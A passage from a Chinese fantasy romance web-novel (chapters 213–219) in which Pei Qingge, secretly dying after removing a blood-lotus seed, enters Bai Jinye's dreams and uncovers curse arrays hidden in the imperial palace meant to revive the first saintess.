“没事。”裴清歌看着自己手上的青紫色逐渐褪去,本来进到她身体的煞气也不多,所以很快就都跟血一起转移到了白锦夜的身体里,血他可以吐出来,但是煞气不会,只能靠他身体里的尸气去克掉。 等青紫色都消失,裴清歌想要把手抽回来,可却还是被白锦夜抓着。 “好了。”裴清歌看着他。 白锦夜舔了舔她的指腹,才意犹未尽的放开手。 碍于萧尺寒在这,裴清歌什么都不能说,只能狠狠地瞪了他一眼。 一直到傍晚,黑气的颜色几乎完全淡了,裴清歌才让萧尺寒从阵法里出来,不过衣服帽子还不能脱,三个人一起下了山。 走到山脚下,萧尺寒突然腿一软,跌倒在地上,一口血喷了出来。 “看样子,那煞气化解得差不多了。”裴清歌看着他开口道,“你且得养些日子了。” 萧尺寒这一下路都走不了了,好在马就系在不远的地方,白锦夜不想让裴清歌碰她,于是干脆自己扛起了萧尺寒,顺手把他扔在了马背上。 萧家的人早就望眼欲穿,可也记着裴清歌的嘱咐,没有出门半步。 裴清歌和白锦夜把萧尺寒送回来的时候,萧家人差不多都齐刷刷地坐在堂上。 时间不早了,裴清歌和白锦夜也没有多留,简单地交代了几句,两个人就先离开了。 走在街上,白锦夜咬了咬唇,手在袖子里握了握拳,纠结了好半响,前后看着都没人,才慢慢地伸过手,握住了裴清歌的手。 “干什么?”裴清歌转头看他。 白锦夜犹豫了会,才低声道,“今天晚上,我不想回去了,能不能在你那住?”说完又赶紧补充,“也不是要做什么,就是好久都没跟你在一起了。” 裴清歌收回目光,又走了两步,开口问,“桑榆跟你说什么了?” “她能跟我说什么?”白锦夜有些无奈。 “她跟左辞说的,左辞也都跟你说了吧?”裴清歌又道。 白锦夜的脚步停下来,沉默了会才说,“她一个小丫头疑神疑鬼的,我还能跟她一样么?我就是……想你了,要不你去我那住?” 第214章 他把黄泉路从梦里带了出来! “有什么区别么?”裴清歌抬眼看着白锦夜。 “对我来说,只要跟你在一起,在哪没什么区别。”白锦夜说着往前走了几步,把裴清歌推靠在墙上,低声道,“我就是心里不太舒服,看着你现在这么尽心的帮萧家,就像之前我有事的时候,你也一样帮我,我就觉得,我在你心里,好像确实没有什么不同。” 他低头看着她,轻轻叹了口气,“你就不能对我好一点么?” “我早就说过……” “我知道。”白锦夜打断她的话,“我不奢望你对我像是对鬼卿、冷鸢那样,只是起码也该比对其他人要好些。”他说着看她的眉心慢慢地蹙起,也不想再听她说早就说过的那些话,便要低头去吻她。 却恰好有打更人路过,见到两个“男子”在墙角亲亲我我,忍不住用力地敲了敲锣,出声感叹,“世风日下,世风日下!” 裴清歌抬手推开白锦夜,迈步往前走,走了几步,才开口问,“你觉得,你是好人么?” 白锦夜不明白她的问题,想了想才说,“我觉得,我应该是。” “那你觉得,我是好人么?”裴清歌又问。 “怎么了?你为什么突然问这些?”白锦夜追上去。 “万一有一天,你发现我跟你想的不一样,我并不是你所认为的那种好人,做过很多让你觉得不齿的事情呢?”裴清歌继续问道。 白锦夜看着她,她确实没有再说以前那样的话,因为她又有了新的说辞,“我不懂你的意思,我只相信我看到的,我现在看到的一切,都在告诉我,你是那个值得让我做一切的人。” “所以只是你看到的。”裴清歌轻声道。 “你是不是遇到了什么事?”这一次换白锦夜问出了自己一直想问的问题。 “没有,我只是想要告诉你,我没有你想的那么好。”裴清歌皱了皱眉。 “每个人都有优缺点,我接受你的好,就也会接受你的不好。”白锦夜抬手抓住她的胳膊,“给我一个机会,也给你一个机会,不行么?” “白锦夜。”裴清歌停下脚步,在原地站了半响,才低声道,“不行。”说完,也不等白锦夜再说什么,直接道,“萧忆翎的莲花,你必须得养,你要是不愿意养,只要你还是冥尸,我就会控制你去养。” “可也不是非得我来养,北冥国国君,不也一样可以养么?”白锦夜开口道。 “如果莲花的用处一样,她那朵莲花是真正的血脉,发挥的效用应该更好一些,国君一旦养成,这世上就再没人是他的对手,鬼王沙漠也再都不可能拦住他,到时候后果更不堪设想。”裴清歌抬眼看向白锦夜,“人不能活得太自私。” “让我养,也可以。”白锦夜捏着裴清歌的胳膊,说得有些咬牙切齿,“可我也要你,你今晚跟我回去,在我娶萧忆翎之前,你都陪着我。” 裴清歌的表情没什么变化,只是微微眯了下眼,隔了会才说,“你不要再在我身上浪费时间了,我活不了多久了。” “你就总是拿各种各样的理由来搪塞我,你不是说过,只要有血莲在,你就不会死么?”白锦夜的手死死的用力,像是要把裴清歌的胳膊捏碎一样。 裴清歌只是看着他,没有说话。 白锦夜像是突然想到了什么,他用力地把她拽到怀里,一手禁锢住她的腰,一手拉开了她肩头的衣服。 即便是晚上,但也毕竟是在大街上,裴清歌微微皱了下眉,却也没有阻止。 白皙的肩头露出来,上面没有一丝丝痕迹,之前已经半开的血莲完全不见了! 白锦夜眸光微震,一脸的不可置信,“你的……血莲呢?”他的声音甚至都有些轻微的颤抖。 “我的血莲本就不是天生的,是被人移植了血莲种子在身体里才会生根发芽,把种子剥离,血莲自然就没了。”裴清歌说着要把自己的衣服拉好。 “我不信。”白锦夜抬手摸着她的肩膀,又用力地揉搓了下,人脸能易容,那说不定她也是用什么办法遮住了血莲。 “血莲护主,我身体里要是还有血莲,今天那煞气也根本不可能进入我的身体。”裴清歌没有阻止他的动作,“你就算把我这块皮肉割开,也不可能见到血莲。” “桑榆说你不让她进你房间,还说见你洗过带血的衣服,就是因为……你在剥离血莲种子?”白锦夜咬着牙,眼角微红,“为什么?为什么?” “这样你也不用再以养血莲为借口,专心去养萧忆翎的莲花就好了。”裴清歌说着垂下眼,“血莲种子剥离,我就活不了多久了,你就不用再念着我,无论我好与不好,等我死了,就都结束了。” 白锦夜放开手,后退了一步,“裴清歌,你怎么可以这么狠心?没有七情六欲的人,心也这么狠么?” 裴清歌没再说话,整理好自己的衣服,转身打算离开,可她刚走了几步,就感觉不太对劲,又转身朝白锦夜看去。 只见他捂着胸口半跪在地上,地面以他为中心,在逐渐变得透明,并且蔓延开。 就连他的周围,也开始变得灰蒙蒙的。 就像是他的梦境一样! 他到底还是把黄泉路从梦里带了出来! “你……”裴清歌吸了一口凉气,往前走了一步,可也不敢接触那开始变得透明的地面,“白锦夜,你在干什么?你快点起来!” 白锦夜低着头,像是也没有发现这些异常,“你为了躲开我,命都不想要了,那还管我干什么?” 裴清歌看着脚下的地面,又往后退了一步,这四处都是民居,一旦黄泉路蔓延开,这里的百姓无一能幸免,她也只能先安抚白锦夜,“你先起来,这么晚了,有什么话……回去再说。” 白锦夜轻笑一声,“这么晚了,你就先回去吧。你放心,我也不会再去找你,你不想看见我,我就不再去碍你的眼,你不用想怎么躲着我,就算以后见到了,也只当是陌生人就行了。” 裴清歌皱了皱眉,知道不能再这样下去,眼下也没别的办法,只能先控制住白锦夜,可她手上捏了印诀,白锦夜却没有一点反应,这黄泉路似乎挡去了她和冥尸之间的联系,她只能又低声唤他,“白锦夜。” 第215章 快死的人,身上阴气都重 白锦夜这次终于抬起头,似乎也是刚发现自己周围的异常,这跟他的梦很像,他下意识地抚了抚地面,又抬头朝裴清歌看过去。 他看到透明的地面在蔓延,裴清歌也在慢慢地后退躲着这透明的地面,而且他也难得的在裴清歌的眼里见到一抹恐惧。 突然间,他似乎明白了很多事情。 他站起身,往裴清歌的方向走过去。 透明的地面虽然在蔓延,但是也没有随着他走而移动。 他走到边缘,朝裴清歌伸出了手。 裴清歌犹豫了一下,还是伸手握住了他的手。 白锦夜的手微凉。 但裴清歌的手更凉,是因为害怕。 白锦夜握着她的手,看着她。 但裴清歌却并没有看他,目光落在地面上,只见透明的地面在逐渐消失,街道恢复了正常,白锦夜身边的雾气也慢慢消失不见。 “就是因为这个,你在我梦里,见到了这个,所以才会控制我刺杀白砺寒,才想让我死,是么?”白锦夜看着她问道,“这是什么?” 裴清歌摇了摇头,没有说话。 白锦夜握着她的手,按在自己的胸口,“你会害怕,那你会有心疼到没办法呼吸的时候么?如果你死了,你想过我会怎么样么?” 他说着轻笑了一声,“也许如果我死了,你想的只是刚才那样的情况再也不会发生,‘神冥公’的后人只剩下北冥国国君,这世上会出现很多混乱,可你不会心疼。你觉得,如果你死了,我也可以立刻忘了你,转身去娶别的女人,照样吃饭,照样睡觉,照样活着。但我……我没办法跟你一样啊。” “你想一想,你死了,我该怎么办,嗯?”说完,白锦夜放开手,微微皱了下眉头,没有再停留,转身离开。 看着他离开的背影,裴清歌眉头死死地拧在一起,等他人影消失在拐角,她才吸了一口气,转身往普宁街走。 * 第二天晚上,白锦夜和往常一样,先是看了几页书。 这书并不会跟着他一起进入梦境,所以他看了多少,梦里才能见到多少。 他也只能是在睡觉之前,多背几页,这样等睡着了,就能在梦里多尝试一些。 老和尚不是说,还有一半在鬼门关的裴清歌要靠他拉回来么? 那就算裴清歌整个人都进了鬼门关,他也还是会把她拉回来。 所以他必须得早点把那本书看完,早点找到鬼门关在哪。 裴清歌不想活着,但他也不能让她死。 刚放下书,正要去床上的时候,榆北就敲了敲门,“主子,那位裴先生来找你,在前堂,要带她过来么?” 按照榆北自己想的,其实根本不需要他来通报,王妃进王爷的房间还不是天经地义?可是裴清歌不来,非要让他跑一趟把白锦夜叫出去,他也没办法,只好过来了,只不过话术稍稍变了一下。 这么晚了,王爷王妃有什么事,在房间里聊不是比在大堂聊更好么? 白锦夜的动作顿了下,应了一声,“好。” 于是榆北就赶紧去回话,进了堂上,就一脸的为难,“裴先生,主子说已经准备歇息了,你要是有什么事,就去卧房找他,我带你过去?” 裴清歌皱了下眉,脸色不算太好,沉默了半响,才点了点头。 榆北赶紧在前面带路,把裴清歌引到了白锦夜的卧房门口,敲了敲门,看着她进去,又贴心的把门关好,才赶紧走了。 裴清歌站在门口,见白锦夜坐在床边,微微犹豫了会,才往前走了几步,“明日开始,普宁街那边的店会暂时关门,我进宫去查看皇宫里有没有什么异状。萧太师说,在宫里安排了住处,所以我可能短时间内住在宫里,你如果有什么事找我,可以让萧太师帮忙传话。” “我该有什么事找你?”白锦夜看着她,“我就不应该去找你,不是么?” 裴清歌走到桌边坐下,侧着身,也没有看白锦夜,只是说,“我确实不知道我能活多久,如果你愿意,剩下的这些时间,我可以陪着你,但是……希望你能接受这个事实。” 白锦夜没有说话。 沉默了会,裴清歌摘掉脸上的面具,脱下外套,走到床边,正要上床,却被白锦夜抬手拦住,她侧头看他,眼里带着几丝讥笑,“你想怎么样?我让榆北来叫你出去,你不肯出去,让我进来,不就是这意思么?” 白锦夜微皱了下眉,也知道是榆北擅自做主,把裴清歌叫了进来,“我没有这个意思。”沉默了会,他才又问,“你来应该不是说这些,还有别的事么?” 说完,他大概是怕裴清歌继续误会自己的意思,干脆自己站起身,走到了桌边坐下。 裴清歌微微蹙了下眉,她本来确实不是来说这些的,但榆北传话,让她来白锦夜的房间找他的时候,一股烦躁涌上来,该说的事,她就不想说了。 她背对着白锦夜,叹了口气,“查探宫里情况的事,你方便一起进宫么?” “如果你需要我去,我可以去。”白锦夜看着她的背影,知道若不是万不得已,经过昨晚的对话,她大概是不会轻易来找她的。 “我担心若是真的还有什么阵法,太过隐秘,我发现不了。”裴清歌微皱了下眉头,“冥尸对阵法和气息都比较敏感,到时你若是觉得有什么不对,跟我说,我会来证实。” 白锦夜微微拧了下眉,隔了会才问,“你怎么了?” 他不相信在仔细探查下,还会有阵法逃过裴清歌的眼睛。 裴清歌像是一开始不想回答,但犹豫了会,还是转身看向白锦夜,“我最近身上阴气重,术法打了折扣,若是特别仔细的探查,倒也不会有太大的问题,不过我怕没有那么多时间。” 白锦夜盯着她,“阴气重……是什么意思?” “快死的人,或者将应死劫的人,身上的阴气都重。”裴清歌说着走过去,拿起自己外套,“那我先回去了。” “你在这睡吧。”白锦夜也站起来,“我去隔间睡。”说完也没等裴清歌再说话,径自出了门。 裴清歌看着他关上门,微微眯了眯眼,转身回到床边,刚坐下就感觉胸中气血翻涌,随即眼前一黑,晕了过去了。 第216章 梦中人 白锦夜依旧在梦里修习术法,一个新的印诀,试了几次都不行。 “这个印诀应该不是单独使用的。”一道陌生的声音在耳边响起,“恐怕得前后几个印诀多看看。” 白锦夜吓了一跳,他这梦里,除了曾经游晚星和裴清歌因为入梦咒来过以外,就再也没有见过任何人了。 他下意识地往旁边挪了一步,看过去,是一个约摸二十岁上下的女子,容貌艳丽。 她穿的衣服也有些奇怪,是黑色的宽袖袍子,袍子上绣着金边,头发也同样是用一根绣着金边的黑色袋子随意地束在脑后。 整个人显得慵懒又妩媚。 白锦夜眼底闪过一抹警惕,“你是谁?” “我?”裴清歌看着白锦夜的模样,嘴角勾起一抹笑,正要说话,目光却落在自己的穿着上,她抬起手,看了看自己衣袖,又看了看自己的手,心下了然。 白锦夜见过的,一直都是她重生之后的样子。 但这一次她不知道怎么进了白锦夜的梦,又恢复了之前了样子。 大概是真的快要死了吧。 裴清歌的那具身体已经没有办法维持住自己的外貌了。 她放下手,只是说,“我也不知道为什么会在这里,好像就是突然出现在这里,看到你在研究那个印诀。” 她之前感觉到白锦夜在修习术法,一开始不知道是谁在教他。 那天看过那本书之后,知道他是找到了张明彻留下的书,不过也没想到他们这一脉竟然是在梦里修习。 白锦夜皱起眉头,又问了一遍,“你是什么人?” 裴清歌看着他轻轻的笑,“我不记得了,我只记得……我好像死了。” 白锦夜想起来之前净明师太说过的,她去过张明彻的梦里,他的梦里跟现实没什么区别,但是会看到很多人。 难道是因为他修习术法起了作用,所以他的梦里也终于可以看到死去的人了? 但是他这里还是没有路,也不知道要把人引到哪里去。 白锦夜又仔细地回忆了一遍已经看过的书里的内容,也没有一件和眼前的事能对上,不过他看着她,像是也没有敌意,便问,“你知道怎么离开?” 裴清歌摇了摇头,这一次她没有贴入梦咒,却还是到了白锦夜的梦里,她都不知道自己是怎么来的,更不知道该怎么离开。 上一次来的时候,还有些害怕。 但这一次,已经坦然了不少。 她随意地撩起衣袍坐在地上,心念一动,手一翻,手心上也出现一本书,于是便也翻开书页开始看书。 白锦夜盯着她看了好一会,才在她对面坐下,继续低头看书。 但以往只有一个人,现在莫名其妙多了一个人,他的注意力很难再集中在书上,只想弄清楚这个人到底是谁。 * 裴清歌猛然惊醒的时候,天还没有亮,她趴在床上,姿势显然不是睡觉,她刚才应该是晕了过去。 晕过去之后竟然去了白锦夜的梦里! 而且在白锦夜的梦里,她竟然可以拿到圣殿的书,甚至是她没有看过的书,只要她能想到书名或者相关的内容,那书就会出现在她的手上。 她坐起来,目光瞟向隔间,一时也想不通这是怎么回事。 坐了半响,她才重新躺下,离天亮还早得很,虽然这会没什么睡意,但她也很想再看看自己睡着之后,是不是还能再进到白锦夜的梦里。 翻来覆去许久,才浅浅的睡了一会。 只不过这一次睡得很正常,没有去白锦夜的梦里,甚至自己也没有做梦。 * 第二天一早,白锦夜的神色有点怪,几次看着裴清歌都欲言又止,最后直到跟萧尺寒碰面,他也还是什么都没说。 裴清歌大概也知道他想要问什么,不过因为梦里她没有说穿自己的身份,所以她也就没有提起。况且,就算提起来也没什么用,她自己都不知道这是怎么回事。 萧尺寒有些诧异地看着白锦夜,“楚兄也去?” 没等他回答,裴清歌便先开了口,“是我请他一起去的,他对这些事多少也有些了解,有他帮忙,也会更快些。” 萧尺寒也不能拒绝,但是进宫的人数都是定好的,也只能临时换掉一个匠人。 在宫门口,萧尺寒跟工部尚书寒暄了半响,又着重说自己带来的这些匠人都是从各地请来的手艺极好的,让工部尚书放心。 裴清歌和白锦夜混在匠人的队伍里,倒也没有人注意到他们。 工部尚书那边也带了匠人,进了宫之后,两拨人都被带到一个角落的院子,一个公公带着几个小公公过来,先是说了之后他们吃住都在这里,没有特殊情况,一律不准擅自出宫,更不可以随意在宫中乱走。 之后又说了不少宫中的规矩,才转头看向工部尚书和萧尺寒,知道这次的事情是他们两个负责,公公的脸上也添了几抹笑意,“二位大人,这边有两间房,可供大人歇息。” 萧尺寒之前倒是没想过这件事,若裴清歌是个男子,他也不用多心,可他知道了裴清歌是女子,这样的住处就显得有点尴尬了。 他总不能让裴清歌跟其他的匠人们睡在通铺上。 但若是裴清歌住在他房间,又很难不惹人口舌。 只不过眼下也不是说这件事的时候,只想着回头找个机会,给裴清歌单独安排一个住处。 “这宫里办事,规矩就是多。”白锦夜靠在裴清歌耳边低声道,“这样慢慢查下去,得查到什么时候?” “人多的地方跟着大家一起去,人少的地方就可以晚上摸过去查了。”裴清歌说着抬眼看他,“不过就要委屈你这位王爷了。” “我在军中本来就跟将士同吃同睡,倒是你……”白锦夜微微皱了下眉,“我去跟萧尺寒说一下。” 裴清歌抬手拉住他的手腕,“算了,人多眼杂的,多一事不如少一事,办正事要紧。” 十人一个房间,裴清歌自然选择最靠外面的位置,这样晚上出去也方便。 他们也不准带任何东西进宫,领了用品,刚放到床铺上,萧尺寒就走了进来,他轻咳了一声,低声道,“裴先生,我那房间有里外隔间,不如你去我那住?” “不用了。”裴清歌拒绝,“小心一点,没什么。” 萧尺寒这句话,确实也只是客套,若是裴清歌真的去他那住,孤男寡女的,反倒别扭了,“你放心,这里的几个人,都是自己人,不会出什么岔子。等过几日,我找个理由,再把你安排到其他的住处。” 说完,他又看向白锦夜,“楚兄,这几日也暂且委屈了。” 本来白锦夜确实觉得有点委屈,但想着终于可以光明正大的和裴清歌睡在一起,顿时也觉得没什么委屈了。 第217章 没有比这件事更重要的事情了么? 刚刚安顿好,白砺寒身边的袁公公就来了,他来找工部尚书和萧尺寒。 这两个人也就把几个匠人中管事的一起叫了过去。 萧尺寒自然也带了裴清歌和白锦夜。 袁公公带了份皇宫的图纸,大概介绍了如今哪些宫里住着哪些人,哪些不能乱动,哪些要固定在哪些时间才可以动。 要求甚多,工部侍郎拿着纸和笔记了厚厚的一沓子。 裴清歌看着图纸,对整个皇宫的布局也有了了解,从风水和阵法上来说,有几个位置是比较重要的位置,若是真的还有其他的阵法,这几个位置就是重点要查看的。 其中有一处,便是之前发现噬婴蜮的那个地方。 按理说,那里埋过噬婴蜮,附近都不太可能有其他的东西,所以那边倒是不着急找了。 她私下里也跟萧尺寒大致说了下,萧尺寒和工部尚书商量过以后,决定从东边开始修葺。 这边是太子的未央宫,不过现在没有太子,甚至连皇子都没有,所以是空着的,一是修葺比较方便,再者皇上觉得既然没有子嗣,那就从子嗣的住处开始修,也算是解皇上的心病。 皇上登基之前,是住在未央宫的,一晃这边已经几年没有住人,虽然宫人时常打扫,但是房子长久没有人居住,就难免有一丝萧条荒败之意。 先是来几个匠人查看整体的情况,然后提出修葺的方案,工部尚书和萧尺寒同意后,便开始动工。 这第一日倒也没有什么太繁重的工作。 再加上大家都是第一次住到宫里,晚上难免睡得不踏实,所以这天晚上裴清歌也不打算出去转。 熄了灯,旁边几个人睡不着,就在小声的聊在宫里的见闻,其实大家本来也没看见什么,但是第一次进宫,什么都觉得新鲜。 白锦夜悄悄地伸过手,在被子下面握住了裴清歌的手。 裴清歌也没理他,翻过身,背对着他便睡了。 第二日,白锦夜就发现了一丝异常。 裴清歌过去查看一圈,最后发现小佛堂里送子佛的佛像底座有些异常,她用指甲刮了刮了,底座的漆就掉了,露出符咒的一角。 是有人把断子咒刻在了佛像底座上。 佛像交给了萧尺寒,萧尺寒就匆匆的走了。 萧公瑾思索良久,最终还是带着佛像进宫去见皇上了。 白砺寒对这佛像当然有印象,毕竟他在东宫住了多年,但是看到佛像底座的符咒,顿时气得当场摔了佛像。 萧公瑾想要阻止,可是已经来不及了,佛像重重地摔到到地上,头和身体摔断分离,他微微皱了下眉头,就算被刻了断子咒,也到底是佛像,皇上如此做,却是有些不敬了。 “混账!到底是谁要这样针对朕?”白砺寒说着看向袁公公,“马上去查,查一查这佛像当年是谁送到东宫的,接触到这佛像的人,一个都不要放过!” “是。”袁公公赶紧应下来。 “等一下。”萧公瑾赶紧阻止,“皇上,对方如果有什么目的,恐怕也不只是这一件事,现在就去彻查,可能会打草惊蛇,反正眼下皇宫修葺一事已经开始进行了,不如就趁着修葺这事,把整个皇宫都搜查一遍,最后再一起查。” 白砺寒听了萧公瑾的话,也冷静下来,他点了点头,“太师所言甚是,是朕一时情急。那这件事,就全权交给太师负责了。” “皇上放心。”萧公瑾轻轻地叹了一口气,本来这事他是想着如果能私下解决,就不惊动皇上的,可是裴清歌他们才进宫第二天,就发现了这么明目张胆的东西,这以后还有多少东西都不好说。 万一真的太多,恐怕皇上这边也是瞒不住的,那还不如早点说出来,他也就算是能将功赎罪了。 等萧公瑾离开,袁公公才上前一步,仔细地看了一遍那佛像,又对着皇上低声道,“皇上,这事真的要查么?” “为何不查?”白砺寒瞪着袁公公,脸色极差,“难道朕就活该断子绝孙么!” “皇上息怒。”袁公公声音又压低了些,“这送子佛,奴才要是没记错,是皇上和皇后大婚的时候,太后送来的。” “太后?”白砺寒眯了眯眼,“你可确定?” “奴才确定,但送子佛上动了手脚,就不知道太后是不是知道了。”袁公公又道。 白砺寒眯眼看着地上的佛像冷笑一声,“去,找人把佛像修好,朕要带着它去给太后请安。” “是。”袁公公赶紧抱起地上的佛像告退了。 * 忙活了一天,除了那尊送子佛以外,裴清歌又在几处房梁和角落见到了一些符咒,那些符咒都刻的极小,有些是隐在本身的雕花花纹里,不仔细找真的很难发现。 这些符咒单独看起来,用处也不算太多,可是找到几处之后,她便意识到这是一个阵法,以送子佛为中心,向外蔓延的一个阵法。 要留下这样的阵法,可是需要极大的耐心,并且……要在这宫中呆了许久的时间。 裴清歌微微眯了眯眼,白锦夜也走到了她身边,看她在抚摸着一处花纹,便也抬手抚了上去。 “干什么?”裴清歌皱了下眉头,把手收回来。 “你的手好凉。”白锦夜转头看了看外面的大太阳,已经六月了,天气暖和得很,可裴清歌的手整晚都没有一丝暖意。 裴清歌抿了抿唇,没有说话。 白锦夜垂眸看着她,“我不懂,这件事显然要耗费很多时间,你说……你不剩多少时间了,难道没有比这件事更重要的了么?你不打算去找你师父了?就要把最后所有的时间,都用在这件事上么?” 裴清歌转身往下一个角落走,白锦夜也跟了上来。 走到角落,又找到一个符咒,裴清歌拿着匕首,刮掉符咒之后,才开了口,“这件事,很重要。其实萧家找上我,我也只是顺水推舟,他们若是没来找我,这件事也是要办的。”说完她转头看了眼白锦夜,“我会努力活到把这件事解决完,也算是……对我师父有个交代了。” 第218章 他们想要复活的是谁? 白锦夜上前一步握住裴清歌的手,正要说话,身后却传来萧尺寒轻咳的声音,他放开手后退了一步,转头看过去,眼里带着几丝不爽。 萧尺寒走过来,看着白锦夜的眼神微微有点奇怪,隔了会才对裴清歌低声道,“爷爷已经得到了皇上的首肯,之后做事会方便不少。” 裴清歌让萧尺寒把佛像带给萧公瑾也是这个意思,她点点头,开口道,“东宫这边应该不会有别的东西了。”她说着抬手指了指被自己用刀削掉的地方,“这里还有些阵法,都是为了巩固那个断子咒,我把这些符咒全都刮掉,你跟匠人说一声,这些地方到时候仔细修葺就好了。” “阵法套的太多,互相之间可能会影响,达不到最好的效果,所以东宫之中,应该就仅有这个断子咒。”她说着皱了下眉,加上上次的噬婴蜮,已经有两处是针对子孙后代的了,也不知道剩下的还会有些什么。 萧尺寒点点头,“那就不打扰裴先生了。”说完,便拉着白锦夜去旁边低声聊天了。 裴清歌忙着自己的事,也没理他们两个。 没一会,萧尺寒走了,白锦夜又回到了裴清歌的身边,他拧着眉,想着萧尺寒刚才说的一堆没头没尾的话,隔了半响,才问,“他知道你的身份了?” 裴清歌知道,大概是萧尺寒见到白锦夜拉她的手,所以暗示了他什么,但是有些话可能又不方便直说,她就摇了摇头。 “那他是什么意思?”顿了会,白锦夜又问,“他知道你是女子了?” 裴清歌转头看了白锦夜一眼,对这件事懒得解释什么,于是干脆又摇了摇头。 “那他还真是有点莫名其妙。”白锦夜皱了下眉,见裴清歌忙着自己的事,他也不好一直在她身边转悠,便迈步往远处去了。 裴清歌抬手按了按胸口,压下胸中翻涌的气血,若是放在以往,刮掉这些小符咒对她来说不会有丝毫的影响,但是现在,每动一下,都有一丝符咒的反噬涌进她的身体。 她不由伸手摸了摸肩头的位置,轻轻地叹了口气。 当天晚上,裴清歌躺下没多久,一阵头晕后失去了意识,睁开眼,就已经是在白锦夜的梦里了。 她也明白了,如果是正常入睡,她是不会进到他梦里的,只有昏迷的时候,才会进来。 白锦夜拧眉看着再次出现在自己梦里的女子,前天晚上,她坐在他对面看书,过了一段时间之后,她就凭空消失了。 他还以为她是找到了通路离开,再加上昨天晚上她也没有出现,他觉得这可能是个偶然,大概是他修习术法,触发了什么才把那个女子带过来,只不过他自己不知道而已。 但是今天,她又重新出现了。 白锦夜放下手里的书,看着她,“你怎么又来了?” 裴清歌笑了笑,“大概还没到离开的时候。” 白锦夜微微皱了下眉,“这是我的梦里,我没有见过你,你为什么会出现在这里?” “我在这里影响你么?”裴清歌说着手心一翻,之前没看完的书出现在她的手上,她便低头开始看书了。 她倒是挺想在书上找找,看看有没有过这样的情况,这又是怎么回事。 裴清歌醒来的时候,白锦夜还在睡着。 她看了看他的眉眼,轻轻叹了一口气,蹑手蹑脚的起了身,悄声出去了。 她一个人摸到了东宫,继续小心翼翼地刮着各处符咒。 正刮着,突然脊背一僵,她转过身,便见到墙头上坐着一个人。 她微怔了一下,才站起身。 楚星玄从墙头上跳下来,走到裴清歌的面前,眯眼看着她,半响,才开口道,“裴子墨,你快死了。” “这种事用你来说?”裴清歌转回身,低头继续刮符咒,“你不是应该在西河城?” “我看到左辞那蹩脚的易容术,就知道是你的手笔。”楚星玄垂眼看着她,他已经来了许久,可她已经迟钝到刚刚才发现,“把我们都支走,就是为了把自己折腾得快要死掉?” 裴清歌拿着匕首的手微微顿了下,“这是我自己的事。” 楚星玄抓住她的胳膊,把她拉过来,“你不把话说清楚,我只能现在带你走,要是冷鸢或者鬼卿看到你现在这个样子,不知道他们会做出什么来。我们的合作还没结束,你现在就死了,剩下的事,要我一个人去做?” 裴清歌抬手捂了捂脸,隔了一会才说,“如果你发现,你爹现在在做的事情,跟你想的不一样,他要做的事情,一旦做成,会死很多人,甚至你也只是他的一颗棋子,你会怎么办?” 楚星玄微微皱起眉头,“你是什么意思?” “我一直以为,我师父这样的安排,是有她的苦心,她可能不想让我掺和到这些事情中来,她曾经给我留下口信,让我不要再回到北冥国,让我就待在这,做个普普通通的人,安安稳稳的过完这一生。” “我以为她都是为了我好,甚至我上次忤逆她的意思回到北冥国,闯了祸,心里一直内疚自责。可是……” 裴清歌说到这,又没再继续说了。 楚星玄有点急,捏着她的胳膊也开始用力,“可是什么?” “可是我发现我只是一个棋子,我师父让我重生,不过是一个实验!”裴清歌抬眼看着楚星玄,“她这些年,到处走,就是为了找到一具这样合适的身体,一具能和其他人的灵魂契合的身体,并且其他人的灵魂在她的身上复活之后,还能继承曾经所有的术法。但让我复活,并不是最终的目的。” 楚星玄眯起眼,声线紧绷,“他们想复活谁?” “第一任圣女。”裴清歌闭了闭眼,“据说第一任圣女是仙人后代,身上的血脉可以让人成仙。” “可是这说不通,她既然能成仙,她又怎么会死?”楚星玄皱起眉头。 “在她成仙渡劫的时候,有人抓了她的孩子威胁她,分心之下,惨遭雷劫而死。”裴清歌吸了一口气,“所以我只能在他们把一切都准备好之前,毁了这具身体,也毁了……他们在盛京留下的法阵。” “这个法阵,他们前前后后几百年的时间,不停的来修缮巩固,他们尝试了无数次,终于在我那次成功了。从我重生到现在,他们一直在观察,现在已经达到他们满意的效果了,他们大概马上就要动手了,我也没有那么多时间了。” 楚星玄摇了摇头,还是有些想不通,“但既然这是他们的计划,你怎么会知道?” 第219章 我尽量在你死之前,把他们带到盛京 这一次裴清歌没有说话,他们迟迟没有动手,是因为他们一直以为血莲没有跟随她一起重生,这血莲无论是不是妖莲都好,是血脉能一起重生的重要标志。 因为不确认这件事,所以他们也不知道这算是成功还是失败。 如果不是她找到师父的那一刻,太过激动,说了血莲的事情,现在也不至于这么被动。 裴清歌把自己的胳膊抽回来,“我现在还能做的,就是在死之前,把盛京的阵法毁掉,这里阵法一个套着一个,互相制衡,不触发的时候,又互相抵消,平时很难发现。盛京是第一任圣女的葬身地,当年她死于雷劫之后,魂魄虚弱,即将消融,有人在这里设置了一个阵法,把她的魂魄留住。” “这里又是龙兴之地,她的魂魄温养了这么多年,应该已经恢复如初了,现在只需要一个契机,就可以复活。” “其实我就算毁掉这些能让人重生的阵法和这具身体也不能完全解决问题,再给他们时间,他们还能继续完成这个阵法,还能再找到一具合适的身体,但那大概又要几百年了。眼下没有时间彻底的阻止他们了,只能争取一点时间。” 她说着后退了一步看着楚星玄,“现在除了他们,这个世界上,就只有你和我知道这个秘密了,等我死了以后,你若是有良心,就想办法阻止他们。不然……不然……” “不然会怎么样?你在这身体上复活,不是也没发生什么事?为什么第一任圣女复活,就会死很多人?”楚星玄不懂。 “她的血脉太强横,普通人的身体承受不住,到时候可能需要吸食很多活人的精气来保证身体不会被毁掉。所以这盛京的阵法里,也有很多杀人的阵法,大概就是那种一旦触发,会瞬间死掉无数人,但是他们的精魂会被阵法扣住,留给她吸收。”裴清歌垂下眼,“总之,事情就是这样,你要怎么选择,我干涉不了,只要你问心无愧就好。” “若是我不来,这些事你也不打算告诉任何人,是么?”楚星玄看着她问道。 “这世上,现在没人能跟他们作对。”裴清歌轻声笑了笑,“我本来打算等我快不行的时候,再想办法告诉你这件事,毕竟,除了你,其他人更不可能做到了。” “那你到底对自己做了什么?”楚星玄皱起眉头,她的魂魄和这具身体已经不是完全重合,仔细看的话,大概能看到她魂魄和身体会出现重影,魂魄也在有逐渐消散的迹象。 “他们保留了一丝跟第一任圣女血脉相关的东西,作为印迹打到了我的魂魄上,那东西可以温养这具身体,等第一任圣女复活时,可以更快的适应这具身体。我把那个印迹从我的魂魄上剥除了,我不知道他们用了什么办法,但是那东西剥除之后,我的魂魄就开始慢慢消散。”裴清歌没有说血莲的事,只是简单地解释道。 